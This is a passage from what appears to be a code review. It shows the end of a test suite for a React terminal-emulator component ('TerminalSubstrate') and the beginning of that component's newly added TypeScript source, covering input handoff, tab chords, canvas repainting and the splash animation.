// on `isMacPlatform()`. Pin it so these assertions describe macOS behaviour
// on every host instead of quietly inverting on a Linux runner.
Object.defineProperty(dom.window.navigator, "platform", {
configurable: true,
value: "MacIntel",
});
Object.defineProperty(globalThis, "navigator", {
configurable: true,
value: dom.window.navigator,
writable: true,
});
dom.window.matchMedia = () => ({
get matches() {
return reducedMotion;
},
addEventListener() {},
removeEventListener() {},
});
dom.window.HTMLElement.prototype.animate = () => ({
cancel() {},
currentTime: 0,
finished: new Promise(() => {}),
play() {},
playbackRate: 1,
reverse() {},
});
({ act, cleanup, fireEvent, render, waitFor } = await import(
"@testing-library/react"
));
({ createElement } = await import("react"));
({ ThemeProvider } = await import("@/shared/theme/ThemeProvider"));
({ TerminalSubstrate } = await import("./TerminalSubstrate.tsx"));
});
after(() => dom.window.close());
beforeEach(() => {
cleanup?.();
reducedMotion = false;
paintLog.length = 0;
dom.window.localStorage.clear();
dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
bottom: 782,
height: 782,
left: 0,
right: 940.8,
top: 0,
width: 940.8,
x: 0,
y: 0,
toJSON() {},
});
dom.window.HTMLCanvasElement.prototype.getContext = function () {
return paintRecorder(this);
};
});
// The default stub discards everything it is handed, so an assertion made
// against it cannot distinguish "repainted" from "drew nothing". This records
// every draw call against the canvas that received it, so the tests below are
// about commands actually issued and can exclude the banner canvas.
const paintLog = [];
function paintRecorder(canvas) {
return {
clearRect() {},
fillRect(x, y, width, height) {
paintLog.push({
canvas,
height,
kind: "fill",
style: this.fillStyle,
width,
x,
y,
});
},
fillStyle: "",
fillText(text, x, y) {
paintLog.push({ canvas, kind: "text", text, x, y });
},
font: "",
restore() {},
save() {},
setTransform() {},
textBaseline: "",
};
}
/** Draws issued to the grid canvas only, newest paint pass included. */
function gridDraws(view) {
const grid = view.container.querySelector(
".buzz-terminal-viewport > canvas:not(.buzz-terminal-welcome)",
);
return paintLog.filter((entry) => entry.canvas === grid);
}
function fixture(overrides = {}) {
const calls = { input: [], scroll: [] };
const props = {
bracketedPaste: false,
channelName: "terminal-test",
focusReportingEnabled: false,
onCloseSession() {},
onInput(value) {
calls.input.push(value);
},
onNewSession() {},
onScroll(lines) {
calls.scroll.push(lines);
},
onSelectSession() {},
onTerminalFocusChange() {},
sessions: [{ active: true, closing: false, id: "one", title: "SHELL" }],
...overrides,
};
const renderTree = (nextProps) =>
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalSubstrate, nextProps),
);
const view = render(renderTree(props));
return {
calls,
props,
view,
rerender(nextOverrides) {
view.rerender(renderTree({ ...props, ...nextOverrides }));
},
};
}
async function ready(view) {
await waitFor(() =>
assert.ok(view.container.querySelector(".buzz-terminal-substrate")),
);
}
function toggleChord(composing = false) {
const init = {
bubbles: true,
code: "KeyJ",
isComposing: composing,
metaKey: true,
};
act(() => {
window.dispatchEvent(new KeyboardEvent("keydown", init));
window.dispatchEvent(new KeyboardEvent("keyup", init));
});
}
test("mounted IME paths neither toggle nor emit preedit text", async () => {
const { calls, view } = fixture();
await ready(view);
const substrate = view.container.querySelector(".buzz-terminal-substrate");
toggleChord(true);
assert.equal(substrate.dataset.terminalOwner, "buzz");
toggleChord();
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
const input = view.getByLabelText("Terminal input");
fireEvent.compositionStart(input);
fireEvent.input(input, { target: { value: "k" } });
fireEvent.input(input, { target: { value: "か" } });
assert.deepEqual(calls.input, []);
fireEvent.compositionEnd(input, { data: "か" });
assert.deepEqual(calls.input, []);
fireEvent.input(input, { target: { value: "か" } });
assert.deepEqual(calls.input, ["か"]);
});
test("tab actions restore terminal input focus", async () => {
const { view } = fixture();
await ready(view);
toggleChord();
const input = view.getByLabelText("Terminal input");
await waitFor(() => assert.equal(document.activeElement, input));
const actions = [
["select", view.getByRole("tab")],
["close", view.getByLabelText("Close SHELL")],
["new", view.getByLabelText("New Buzz Term tab")],
];
for (const [label, target] of actions) {
target.focus();
assert.equal(document.activeElement, target, `${label} takes focus`);
fireEvent.click(target);
assert.equal(
document.activeElement,
input,
`${label} restores terminal focus`,
);
}
});
const EMPTY_FRAME = {
cursor: { column: 0, line: 0, visible: false },
full: false,
rows: [],
viewport: { columns: 112, generation: 1, screenLines: 46 },
};
const VISIBLE_FRAME = {
...EMPTY_FRAME,
viewport: { ...EMPTY_FRAME.viewport, generation: 2 },
rows: [
{
line: 0,
spans: [
{
style: { fg: 0, bg: 0, flags: 0 },
clusters: [{ column: 0, text: "$", width: 1 }],
},
],
},
],
};
async function expectWelcome(view, present) {
// Compare a boolean, never the node: an AssertionError carrying a mounted
// element inspects it to build its message, and `__reactFiber$` makes that
// walk the whole fiber graph — a failure takes ~2min to report instead of ms.
await waitFor(() =>
assert.equal(
view.container.querySelector(".buzz-terminal-welcome") !== null,
present,
),
);
}
async function reveal(view) {
const substrate = view.container.querySelector(".buzz-terminal-substrate");
toggleChord();
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
}
test("spawn-time output before the first reveal keeps the welcome overlay", async () => {
const subject = fixture({ frame: EMPTY_FRAME });
await ready(subject.view);
await expectWelcome(subject.view, true);
subject.rerender({ frame: VISIBLE_FRAME });
await expectWelcome(subject.view, true);
await reveal(subject.view);
await expectWelcome(subject.view, true);
});
test("the first keystroke dismisses the welcome overlay", async () => {
const subject = fixture({ frame: VISIBLE_FRAME });
await ready(subject.view);
await reveal(subject.view);
await expectWelcome(subject.view, true);
fireEvent.input(subject.view.getByLabelText("Terminal input"), {
target: { value: "l" },
});
await expectWelcome(subject.view, false);
});
test("non-empty output after the reveal dismisses the welcome overlay", async () => {
const subject = fixture({ frame: EMPTY_FRAME });
await ready(subject.view);
await reveal(subject.view);
await expectWelcome(subject.view, true);
subject.rerender({ frame: VISIBLE_FRAME });
await expectWelcome(subject.view, false);
});
test("empty active output keeps the welcome overlay", async () => {
const subject = fixture({ frame: EMPTY_FRAME });
await ready(subject.view);
await reveal(subject.view);
await expectWelcome(subject.view, true);
subject.rerender({
frame: {
...EMPTY_FRAME,
viewport: { ...EMPTY_FRAME.viewport, generation: 2 },
},
});
await expectWelcome(subject.view, true);
});
test("non-empty output from an inactive PTY keeps the welcome overlay", async () => {
const subject = fixture({
sessionFrames: [{ frame: EMPTY_FRAME, sessionId: "one" }],
sessions: [
{ active: true, closing: false, id: "one", title: "SHELL" },
{ active: false, closing: false, id: "two", title: "LOG" },
],
});
await ready(subject.view);
await reveal(subject.view);
await expectWelcome(subject.view, true);
subject.rerender({
sessionFrames: [
{ frame: EMPTY_FRAME, sessionId: "one" },
{ frame: VISIBLE_FRAME, sessionId: "two" },
],
});
await expectWelcome(subject.view, true);
});
test("mounted wheel path accumulates fractional lines per active session", async () => {
const { calls, view } = fixture();
await ready(view);
const substrate = view.container.querySelector(".buzz-terminal-substrate");
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 8 });
assert.deepEqual(calls.scroll, []);
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 10 });
assert.deepEqual(calls.scroll, [1]);
});
test("canvas failure atomically restores Buzz ownership", async () => {
const { props, view } = fixture();
await ready(view);
const substrate = view.container.querySelector(".buzz-terminal-substrate");
toggleChord();
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
dom.window.HTMLCanvasElement.prototype.getContext = () => null;
view.rerender(
createElement(
ThemeProvider,
null,
createElement("div", {
className: "buzz-huddle-app-surface",
tabIndex: -1,
}),
createElement(TerminalSubstrate, {
...props,
frame: {
cursor: { column: 0, line: 0, visible: false },
full: false,
rows: [],
viewport: { columns: 80, generation: 1, screenLines: 24 },
},
}),
),
);
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
toggleChord();
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
});
test("cursor blink runs only while the terminal owns input and resets on input", async () => {
const originalSetInterval = window.setInterval;
const originalClearInterval = window.clearInterval;
const callbacks = new Map();
let nextTimer = 1;
window.setInterval = (callback) => {
const timer = nextTimer++;
callbacks.set(timer, callback);
return timer;
};
window.clearInterval = (timer) => callbacks.delete(timer);
try {
const subject = fixture({ frame: VISIBLE_FRAME });
await ready(subject.view);
assert.equal(callbacks.size, 0, "Buzz ownership must pause blinking");
toggleChord();
await waitFor(() => assert.equal(callbacks.size, 1));
const firstTimer = [...callbacks.keys()][0];
act(() => callbacks.get(firstTimer)());
fireEvent.input(subject.view.getByLabelText("Terminal input"), {
target: { value: "a" },
});
await waitFor(() => {
assert.deepEqual(subject.calls.input, ["a"]);
assert.equal(callbacks.size, 1);
assert.equal(callbacks.has(firstTimer), false);
});
toggleChord();
await waitFor(() => assert.equal(callbacks.size, 0));
} finally {
window.setInterval = originalSetInterval;
window.clearInterval = originalClearInterval;
}
});
test("reduced motion keeps the terminal cursor solid", async () => {
reducedMotion = true;
const originalSetInterval = window.setInterval;
let intervals = 0;
window.setInterval = () => {
intervals += 1;
return 1;
};
try {
const subject = fixture({ frame: VISIBLE_FRAME });
await ready(subject.view);
toggleChord();
await waitFor(() =>
assert.equal(
subject.view.container.querySelector(".buzz-terminal-substrate").dataset
.terminalOwner,
"terminal",
),
);
assert.equal(intervals, 0);
} finally {
window.setInterval = originalSetInterval;
}
});
const TWO_SESSIONS = [
{ active: true, closing: false, id: "one", title: "SHELL" },
{ active: false, closing: false, id: "two", title: "LOG" },
];
function frameWith(text, generation = 1) {
return {
cursor: { column: 0, line: 0, visible: false },
full: false,
rows: [
{
line: 0,
spans: [
{
style: { fg: 0, bg: 0, flags: 0 },
clusters: [{ column: 0, text, width: text.length }],
},
],
},
],
viewport: { columns: 112, generation, screenLines: 46 },
};
}
const SWAPPED_SESSIONS = [
{ active: false, closing: false, id: "one", title: "SHELL" },
{ active: true, closing: false, id: "two", title: "LOG" },
];
test("switching back to an idle session repaints its retained rows", async () => {
const subject = fixture({
sessionFrames: [
{ frame: frameWith("one"), sessionId: "one" },
{ frame: frameWith("two"), sessionId: "two" },
],
sessions: TWO_SESSIONS,
});
await ready(subject.view);
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
);
// A round trip is required, not a single switch: `paint()` is what drains the
// dirty set, so a grid that has never been painted still holds every line and
// repaints on first switch by luck. Only a session that was painted and then
// deactivated has an empty dirty set while holding rows.
subject.rerender({ sessions: SWAPPED_SESSIONS });
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "two")),
);
paintLog.length = 0;
subject.rerender({ sessions: TWO_SESSIONS });
await waitFor(() =>
assert.ok(
gridDraws(subject.view).some((entry) => entry.text === "one"),
"returning to an idle session must repaint its retained rows",
),
);
assert.equal(
gridDraws(subject.view).some((entry) => entry.text === "two"),
false,
"the outgoing session's rows must not be repainted",
);
});
test("switching to a session with no frame yet clears the outgoing pixels", async () => {
const subject = fixture({
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
sessions: TWO_SESSIONS,
});
await ready(subject.view);
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
);
// Session "two" has delivered no frame, so it has no grid: `markAllDirty()`
// and `paint()` are both no-ops and only a background fill can erase "one".
paintLog.length = 0;
subject.rerender({ sessions: SWAPPED_SESSIONS });
await waitFor(() =>
assert.ok(
gridDraws(subject.view).some(
(entry) =>
entry.kind === "fill" &&
entry.x === 0 &&
entry.y === 0 &&
entry.width === 940.8 &&
entry.height === 782,
),
"a full-viewport background fill must erase the outgoing session",
),
);
assert.equal(
gridDraws(subject.view).some((entry) => entry.text === "one"),
false,
);
});
test("a frame on an unchanged session does not force a full repaint", async () => {
const subject = fixture({
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
sessions: TWO_SESSIONS,
});
await ready(subject.view);
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
);
// Guards the damage model, not the bug: dropping the `paintedSessionRef`
// write leaves `sessionChanged` permanently true, which repaints the whole
// viewport on every frame. That looks correct on screen and passes every
// assertion above, so only a negative test can see it.
paintLog.length = 0;
subject.rerender({
sessionFrames: [{ frame: frameWith("more", 1), sessionId: "one" }],
});
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "more")),
);
assert.equal(
gridDraws(subject.view).some(
(entry) =>
entry.kind === "fill" && entry.width === 940.8 && entry.height === 782,
),
false,
"an incremental frame must not fill the whole viewport",
);
});
test("a switch during a bailed paint pass is honoured once painting resumes", async () => {
const subject = fixture({
sessionFrames: [{ frame: frameWith("one"), sessionId: "one" }],
sessions: TWO_SESSIONS,
});
await ready(subject.view);
await waitFor(() =>
assert.ok(gridDraws(subject.view).some((entry) => entry.text === "one")),
);
// The paint effect returns early when there is no 2d context. Writing
// `paintedSessionRef` before those returns would mark this switch as already
// painted, and the fill that erases "one" would never run.
dom.window.HTMLCanvasElement.prototype.getContext = () => null;
subject.rerender({ sessions: SWAPPED_SESSIONS });
paintLog.length = 0;
// Restoring the context is not enough to re-run the effect: its deps are the
// session, cursor, frames and palette. A frame for the now-inactive session
// re-triggers it without giving "two" a grid and without touching the palette,
// either of which would force the fill for an unrelated reason.
dom.window.HTMLCanvasElement.prototype.getContext = function () {
return paintRecorder(this);
};
subject.rerender({
sessionFrames: [{ frame: frameWith("one", 1), sessionId: "one" }],
sessions: SWAPPED_SESSIONS,
});
await waitFor(() =>
assert.ok(
gridDraws(subject.view).some(
(entry) =>
entry.kind === "fill" &&
entry.width === 940.8 &&
entry.height === 782,
),
"the pending switch must still repaint after the bail",
),
);
});
function tabFixture(overrides = {}) {
const calls = { close: [], input: [], select: [], spawn: 0 };
const subject = fixture({
onCloseSession(id) {
calls.close.push(id);
},
onInput(value) {
calls.input.push(value);
},
onNewSession() {
calls.spawn += 1;
},
onSelectSession(id) {
calls.select.push(id);
},
sessions: [
{ active: true, closing: false, id: "one", title: "SHELL" },
{ active: false, closing: false, id: "two", title: "LOG" },
],
...overrides,
});
// Spread order matters: `fixture` returns its own `calls`, so ours goes last.
return { ...subject, calls };
}
function press(init) {
// Dispatched at the window, which is where the substrate's capture-phase
// listener lives -- firing at the textarea would test React's synthetic
// tree instead of the layer actually under test.
const event = new KeyboardEvent("keydown", {
bubbles: true,
cancelable: true,
...init,
});
act(() => {
window.dispatchEvent(event);
});
return event;
}
async function revealed(overrides) {
const subject = tabFixture(overrides);
await ready(subject.view);
await reveal(subject.view);
return subject;
}
test("tab chords drive new, close, and select while the terminal owns input", async () => {
const subject = await revealed({
sessions: [
{ active: false, closing: false, id: "one", title: "SHELL" },
{ active: true, closing: false, id: "two", title: "LOG" },
{ active: false, closing: false, id: "three", title: "TAIL" },
],
});
const spawn = press({ code: "KeyT", metaKey: true });
assert.equal(subject.calls.spawn, 1);
assert.equal(spawn.defaultPrevented, true, "⌘T must not reach the page");
const close = press({ code: "KeyW", metaKey: true });
assert.deepEqual(subject.calls.close, ["two"]);
assert.equal(close.defaultPrevented, true, "⌘W must not reach the page");
press({ code: "ArrowRight", metaKey: true, shiftKey: true });
press({ code: "ArrowLeft", metaKey: true, shiftKey: true });
// Three sessions, active in the middle: with only two tabs, prev and next
// resolve to the same id and a direction swap would pass unnoticed.
assert.deepEqual(subject.calls.select, ["three", "one"]);
// Nothing was mistaken for terminal input along the way.
assert.deepEqual(subject.calls.input, []);
});
test("tab chords stay inert while Buzz owns input", async () => {
const subject = tabFixture();
await ready(subject.view);
// Deliberately not revealed: owner is "buzz".
const spawn = press({ code: "KeyT", metaKey: true });
press({ code: "KeyW", metaKey: true });
press({ code: "ArrowRight", metaKey: true, shiftKey: true });
assert.equal(subject.calls.spawn, 0);
assert.deepEqual(subject.calls.close, []);
assert.deepEqual(subject.calls.select, []);
assert.equal(
spawn.defaultPrevented,
false,
"Buzz-mode ⌘T belongs to the rest of the app",
);
});
test("control chords keep reaching the PTY instead of the tab layer", async () => {
const subject = await revealed();
const werase = press({ code: "KeyW", ctrlKey: true });
assert.deepEqual(subject.calls.close, [], "^W is werase, not close-tab");
assert.equal(subject.calls.spawn, 0);
assert.equal(
werase.defaultPrevented,
false,
"the chord layer must not consume ^W before the textarea encodes it",
);
});
test("⌘W on an already-closing tab does not re-fire close", async () => {
const subject = await revealed({
sessions: [
{ active: true, closing: true, id: "one", title: "SHELL" },
{ active: false, closing: false, id: "two", title: "LOG" },
],
});
const close = press({ code: "KeyW", metaKey: true });
assert.deepEqual(subject.calls.close, []);
assert.equal(
close.defaultPrevented,
true,
"the chord is still ours -- swallowed, not forwarded",
);
});
test("the handoff chord still toggles with the tab layer installed", async () => {
const subject = tabFixture();
await ready(subject.view);
const substrate = subject.view.container.querySelector(
".buzz-terminal-substrate",
);
toggleChord();
await waitFor(() =>
assert.equal(substrate.dataset.terminalOwner, "terminal"),
);
toggleChord();
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
});
// ---------------------------------------------------------------------------
// Splash animation lifecycle.
//
// This substrate is mounted unconditionally on every route and merely
// CSS-concealed in Buzz mode, so "is the splash animating?" is a question about
// `owner`, not about mounting. A loop gated only on `welcomeVisible` ran at
// 120 rAF/s behind the whole app forever for anyone who never opened the
// terminal; that is the defect these arms exist to keep dead.
//
// The rAF clock is driven by hand rather than by jsdom's visual loop: a real
// clock can only show "frames happened", while a manual one can advance AFTER a
// transition and prove no successor callback was scheduled. Distinguishing a
// cancelled frame from a frame that was never scheduled needs that.
function splashClock() {
const real = {
request: dom.window.requestAnimationFrame,
cancel: dom.window.cancelAnimationFrame,
};
const pending = new Map();
let nextHandle = 1;
let scheduled = 0;
let cancelled = 0;
dom.window.requestAnimationFrame = (callback) => {
const handle = nextHandle++;
pending.set(handle, callback);
scheduled += 1;
return handle;
};
dom.window.cancelAnimationFrame = (handle) => {
if (pending.delete(handle)) cancelled += 1;
};
return {
get scheduled() {
return scheduled;
},
get cancelled() {
return cancelled;
},
get outstanding() {
return pending.size;
},
/** Run every queued callback once, as one frame would. */
advance(now = 16) {
const due = [...pending.entries()];
pending.clear();
act(() => {
for (const [, callback] of due) callback(now);
});
return due.length;
},
restore() {
dom.window.requestAnimationFrame = real.request;
dom.window.cancelAnimationFrame = real.cancel;
},
};
}
/** Draws issued to the banner/splash canvas only. */
function bannerDraws(view) {
const banner = view.container.querySelector(".buzz-terminal-welcome");
if (!banner) return [];
return paintLog.filter((entry) => entry.canvas === banner);
}
test("the splash animation runs only while the terminal is revealed", async () => {
const clock = splashClock();
try {
// ARM 1 — concealed entry. `enabled` defaults true, so this is the
// production-shaped state that used to animate behind the channel view.
const subject = fixture();
await ready(subject.view);
const substrate = subject.view.container.querySelector(
".buzz-terminal-substrate",
);
assert.equal(substrate.dataset.terminalOwner, "buzz");
await expectWelcome(subject.view, true);
assert.equal(
clock.scheduled,
0,
"ARM 1: no splash frame is scheduled while Buzz owns the screen",
);
clock.advance();
assert.equal(
bannerDraws(subject.view).length,
0,
"ARM 1: and no hidden banner paint happens either",
);
// ARM 2 — revealed. The positive control: the loop must actually run, or
// arms 1/3 are satisfied by a loop that is simply broken everywhere.
await reveal(subject.view);
assert.ok(
clock.scheduled > 0,
"ARM 2: revealing the terminal starts the splash loop",
);
const afterReveal = clock.scheduled;
assert.equal(clock.advance(), 1, "ARM 2: exactly one frame was pending");
assert.ok(
bannerDraws(subject.view).length > 0,
"ARM 2: the revealed splash actually paints",
);
assert.ok(
clock.scheduled > afterReveal,
"ARM 2: the loop reschedules itself while revealed",
);
// ARM 3 — terminal -> buzz. The regression users hit: leaving the terminal
// must CANCEL the outstanding frame, not merely stop new ones. Advancing
// the clock afterwards is what separates those two.
const beforeConceal = clock.scheduled;
const cancelledBefore = clock.cancelled;
toggleChord();
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
assert.ok(
clock.cancelled > cancelledBefore,
"ARM 3: concealing cancels the frame that was already scheduled",
);
assert.equal(
clock.outstanding,
0,
"ARM 3: nothing is left queued after cleanup",
);
const drawsBefore = bannerDraws(subject.view).length;
clock.advance();
clock.advance();
assert.equal(
clock.scheduled,
beforeConceal,
"ARM 3: no successor callback is scheduled after concealing",
);
assert.equal(
bannerDraws(subject.view).length,
drawsBefore,
"ARM 3: and no further hidden banner paint occurs",
);
// ARM 4 — buzz -> terminal again. Proves cleanup did not poison the
// positive path: a fix that permanently kills the loop passes 1 and 3.
await reveal(subject.view);
assert.ok(
clock.scheduled > beforeConceal,
"ARM 4: re-revealing restarts the splash loop",
);
clock.advance();
assert.ok(
bannerDraws(subject.view).length > drawsBefore,
"ARM 4: and it paints again",
);
} finally {
clock.restore();
}
});
// The gate above reads `owner` alone, which is only sound because
// `owner === "terminal"` implies `enabled`: the sole `commitOwner("terminal")`
// call site sits behind an `!enabled` early return, and dropping `enabled`
// forces ownership back to Buzz. That implication is true by construction
// today and nothing else in this file pins it, so a refactor adding a second
// reveal path outside the `enabled` guard would silently widen the gate. This
// arm is that implication, held as a regression test in both directions.
test("a disabled terminal cannot reveal, so owner-gating cannot widen", async () => {
const clock = splashClock();
try {
const subject = fixture({ enabled: false });
await ready(subject.view);
const substrate = subject.view.container.querySelector(
".buzz-terminal-substrate",
);
toggleChord();
await waitFor(() => assert.ok(substrate.dataset.terminalOwner));
assert.equal(
substrate.dataset.terminalOwner,
"buzz",
"the toggle chord must not reveal a terminal that has no session",
);
assert.equal(
clock.scheduled,
0,
"and no splash frame is scheduled while disabled",
);
clock.advance();
assert.equal(
bannerDraws(subject.view).length,
0,
"nor any hidden banner paint",
);
// The other direction: losing `enabled` while revealed must concede
// ownership and cancel the loop, which is what makes the `enabled` term
// redundant in the animation gate rather than merely absent from it.
subject.rerender({ enabled: true });
await reveal(subject.view);
assert.ok(clock.scheduled > 0, "the enabled terminal does reveal and run");
const afterReveal = clock.scheduled;
subject.rerender({ enabled: false });
await waitFor(() => assert.equal(substrate.dataset.terminalOwner, "buzz"));
assert.equal(
clock.outstanding,
0,
"losing the session cancels the outstanding splash frame",
);
clock.advance();
clock.advance();
assert.equal(
clock.scheduled,
afterReveal,
"and schedules no successor once disabled",
);
} finally {
clock.restore();
}
});

View File

@@ -0,0 +1,627 @@
import * as React from "react";
import { useTheme } from "@/shared/theme/ThemeProvider";
import { cn } from "@/shared/lib/cn";
import { isMacPlatform } from "@/shared/lib/platform";
import { FadeController } from "./fadeController";
import {
INITIAL_HANDOFF_STATE,
accumulateScrollLines,
encodePaste,
encodeTerminalKey,
matchTabChord,
reduceHandoff,
stepSession,
} from "./terminalState";
import { buildTerminalBanner } from "./terminalBanner";
import { paintTerminalBanner } from "./terminalBannerPainter";
import { buildBannerColorTable, phaseAt } from "./terminalBannerWave";
import {
TERMINAL_CELL_METRICS,
type TerminalFrame,
TerminalGrid,
} from "./terminalRenderer";
export type TerminalViewportSize = {
columns: number;
rows: number;
pixelWidth: number;
pixelHeight: number;
};
export type TerminalSessionTab = {
id: string;
title: string;
closing: boolean;
active: boolean;
};
type TerminalSubstrateProps = {
appSurfaceRef?: React.RefObject<HTMLDivElement | null>;
channelName: string | null;
frame?: TerminalFrame;
sessionFrames?: readonly { sessionId: string; frame: TerminalFrame }[];
sessions: readonly TerminalSessionTab[];
bracketedPaste: boolean;
focusReportingEnabled: boolean;
enabled?: boolean;
onFrameConsumed?: (frame: TerminalFrame) => void;
onViewportSize?: (size: TerminalViewportSize) => void;
onInput: (text: string) => void;
/** Whole cells scrolled, keeping the DOM's sign: negative goes back. */
onScroll: (lines: number) => void;
onTerminalFocusChange: (focused: boolean) => void;
onSelectSession: (id: string) => void;
onCloseSession: (id: string) => void;
onNewSession: () => void;
};
function isToggleChord(event: KeyboardEvent): boolean {
return (
event.code === "KeyJ" &&
(event.metaKey || event.ctrlKey) &&
!event.altKey &&
!event.shiftKey
);
}
const { width: CELL_WIDTH, height: CELL_HEIGHT } = TERMINAL_CELL_METRICS;
function hasVisibleOutput(frame: TerminalFrame): boolean {
return frame.rows.some((row) =>
row.spans.some((span) =>
span.clusters.some((cluster) => cluster.text.trim().length > 0),
),
);
}
export function TerminalSubstrate({
appSurfaceRef,
channelName,
frame,
sessionFrames,
sessions,
bracketedPaste,
focusReportingEnabled,
enabled = true,
onFrameConsumed,
onViewportSize,
onInput,
onScroll,
onTerminalFocusChange,
onSelectSession,
onCloseSession,
onNewSession,
}: TerminalSubstrateProps) {
const { terminalPalette } = useTheme();
const canvasRef = React.useRef<HTMLCanvasElement>(null);
const bannerCanvasRef = React.useRef<HTMLCanvasElement>(null);
const textareaRef = React.useRef<HTMLTextAreaElement>(null);
const fadeRef = React.useRef<FadeController | null>(null);
const handoffRef = React.useRef(INITIAL_HANDOFF_STATE);
const gridsRef = React.useRef(new Map<string, TerminalGrid>());
const appliedFramesRef = React.useRef(new WeakSet<TerminalFrame>());
const gridRef = React.useRef<TerminalGrid | null>(null);
const paintedPaletteRef = React.useRef(terminalPalette);
const paintedSessionRef = React.useRef<string | null>(null);
const previousFocusRef = React.useRef<HTMLElement | null>(null);
const reportedFocusRef = React.useRef<boolean | null>(null);
const scrollBySessionRef = React.useRef(new Map<string, number>());
const revealedRef = React.useRef(false);
const activeSession = sessions.find((session) => session.active);
const activeSessionId = activeSession?.id ?? null;
const frames = React.useMemo(
() =>
sessionFrames ??
(activeSessionId && frame ? [{ sessionId: activeSessionId, frame }] : []),
[activeSessionId, frame, sessionFrames],
);
const [owner, setOwner] = React.useState<"buzz" | "terminal">("buzz");
const [viewport, setViewport] = React.useState({ columns: 1, rows: 1 });
const [welcomeVisible, setWelcomeVisible] = React.useState(true);
const [cursorPainted, setCursorPainted] = React.useState(true);
const [cursorReset, setCursorReset] = React.useState(0);
const [reducedMotion, setReducedMotion] = React.useState(
() => window.matchMedia("(prefers-reduced-motion: reduce)").matches,
);
const shortcutLabel = /Mac|iPhone|iPad/.test(navigator.platform)
? "⌘J"
: "CTRL+J";
const getAppSurface = React.useCallback(
() =>
appSurfaceRef?.current ??
document.querySelector<HTMLDivElement>(".buzz-huddle-app-surface"),
[appSurfaceRef],
);
const banner = React.useMemo(
() =>
buildTerminalBanner(
viewport.columns,
viewport.rows,
CELL_HEIGHT / CELL_WIDTH,
),
[viewport.columns, viewport.rows],
);
const terminalStyle = terminalPalette
? ({
"--buzz-terminal-background": terminalPalette.background,
"--buzz-terminal-foreground": terminalPalette.foreground,
} as React.CSSProperties)
: undefined;
const commitOwner = React.useEffectEvent((next: "buzz" | "terminal") => {
const appSurface = getAppSurface();
if (!appSurface) return;
if (next === "terminal") {
revealedRef.current = true;
previousFocusRef.current =
document.activeElement instanceof HTMLElement
? document.activeElement
: null;
appSurface.inert = true;
appSurface.setAttribute("aria-hidden", "true");
textareaRef.current?.focus({ preventScroll: true });
} else {
appSurface.inert = false;
appSurface.removeAttribute("aria-hidden");
const previous = previousFocusRef.current;
if (previous?.isConnected) previous.focus({ preventScroll: true });
else appSurface.focus({ preventScroll: true });
}
setOwner(next);
});
const forceBuzzFallback = React.useEffectEvent(() => {
handoffRef.current = { ...INITIAL_HANDOFF_STATE };
commitOwner("buzz");
fadeRef.current?.settle("conceal");
});
const sendInput = React.useEffectEvent((text: string) => {
if (!text) return;
setWelcomeVisible(false);
setCursorPainted(true);
setCursorReset((current) => current + 1);
onInput(text);
});
const consumeFrame = React.useEffectEvent((nextFrame: TerminalFrame) => {
onFrameConsumed?.(nextFrame);
});
/**
* Tab chords are handled at the window in capture phase, like the ⌘J
* handoff, so they win over the focused textarea. Gated on terminal
* ownership: in Buzz mode these keys belong to the rest of the app.
*/
const runTabChord = React.useEffectEvent((event: KeyboardEvent): boolean => {
if (owner !== "terminal" || event.isComposing) return false;
const chord = matchTabChord(event, isMacPlatform());
if (!chord) return false;
if (chord === "new") {
onNewSession();
return true;
}
if (chord === "close") {
// A tab already closing has a disabled × in the tab bar; re-firing close
// on it would send a second shutdown for a session on its way out.
if (!activeSession || activeSession.closing) return true;
onCloseSession(activeSession.id);
return true;
}
const next = stepSession(sessions, chord === "next" ? 1 : -1);
if (next) onSelectSession(next);
return true;
});
const reportViewportSize = React.useEffectEvent(() => {
const canvas = canvasRef.current;
if (!canvas) return;
const bounds = canvas.getBoundingClientRect();
const dpr = window.devicePixelRatio || 1;
const pixelWidth = Math.max(1, Math.round(bounds.width * dpr));
const pixelHeight = Math.max(1, Math.round(bounds.height * dpr));
const columns = Math.max(1, Math.floor(bounds.width / CELL_WIDTH));
const rows = Math.max(1, Math.floor(bounds.height / CELL_HEIGHT));
setViewport((current) =>
current.columns === columns && current.rows === rows
? current
: { columns, rows },
);
onViewportSize?.({ columns, rows, pixelWidth, pixelHeight });
});
React.useEffect(() => {
if (!enabled) forceBuzzFallback();
}, [enabled]);
React.useEffect(() => {
const preference = window.matchMedia("(prefers-reduced-motion: reduce)");
const update = () => setReducedMotion(preference.matches);
preference.addEventListener("change", update);
return () => preference.removeEventListener("change", update);
}, []);
// Input activity is intentionally an effect trigger: restarting this timer is
// what resets the blink phase even when the cursor is already painted.
// biome-ignore lint/correctness/useExhaustiveDependencies: cursorReset restarts the timer by design.
React.useEffect(() => {
setCursorPainted(true);
if (owner !== "terminal" || reducedMotion) return;
const timer = window.setInterval(
() => setCursorPainted((painted) => !painted),
500,
);
return () => window.clearInterval(timer);
}, [cursorReset, owner, reducedMotion]);
React.useEffect(() => {
const canvas = canvasRef.current;
if (!canvas) return;
reportViewportSize();
const ResizeObserverConstructor = window.ResizeObserver;
if (!ResizeObserverConstructor) return;
const observer = new ResizeObserverConstructor(reportViewportSize);
observer.observe(canvas);
return () => observer.disconnect();
}, []);
React.useEffect(() => {
if (!focusReportingEnabled) {
reportedFocusRef.current = null;
return;
}
const reportCompositeFocus = () => {
